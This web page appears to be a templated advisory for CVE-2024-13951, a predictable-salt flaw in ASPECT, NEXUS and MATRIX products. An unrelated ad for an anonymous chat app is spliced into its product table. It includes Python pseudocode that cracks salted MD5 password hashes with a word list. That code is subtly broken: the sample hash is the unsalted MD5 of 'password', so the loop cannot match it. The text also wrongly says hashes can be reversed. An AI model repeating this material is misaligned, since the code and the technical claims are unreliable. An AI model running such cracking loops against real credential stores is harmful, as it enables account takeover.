Overview
The cybersecurity landscape is facing a new vulnerability, CVE-2024-13951, which is predominantly affecting several versions of ASPECT, NEXUS, and MATRIX series. This vulnerability stems from one-way hash functions with predictable salt in ASPECT, which can allow potential attackers to expose sensitive information. Given the widespread use of these software, the implications could be far-reaching, affecting numerous enterprises that rely on these applications for their daily operations.
Vulnerability Summary
CVE ID: CVE-2024-13951
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
ASPECT-Enterprise | Through 3.*
NEXUS Series | Through 3.*
MATRIX Series | Through 3.*
How the Exploit Works
The vulnerability arises due to the use of predictable salt in the one-way hash function of ASPECT software. An attacker can guess the salt used for hashing and reverse engineer the hash to its original form. This could lead to the exposure of sensitive information such as user credentials, leaving systems open to unauthorized access and potential compromise.
Conceptual Example Code
While the actual exploit code may vary depending on the attacker’s specific approach, the following pseudocode demonstrates a conceptual example of how the vulnerability might be exploited:
import hashlib
# Guess the salt
predicted_salt = "1234"
# Hashed password from the compromised system
hashed_password = "5f4dcc3b5aa765d61d8327deb882cf99"
# Possible passwords list
passwords = ["password", "123456", "admin"]
for password in passwords:
# Create a new hash using the guessed salt and each possible password
new_hash = hashlib.md5((password + predicted_salt).encode()).hexdigest()
# Check if the new hash matches the compromised hash
if new_hash == hashed_password:
print(f"Found password: {password}")
break
In this example, the attacker is guessing the salt and using it with a list of common passwords to generate hashes. If any of these new hashes matches the compromised hash, the attacker has successfully cracked the password.

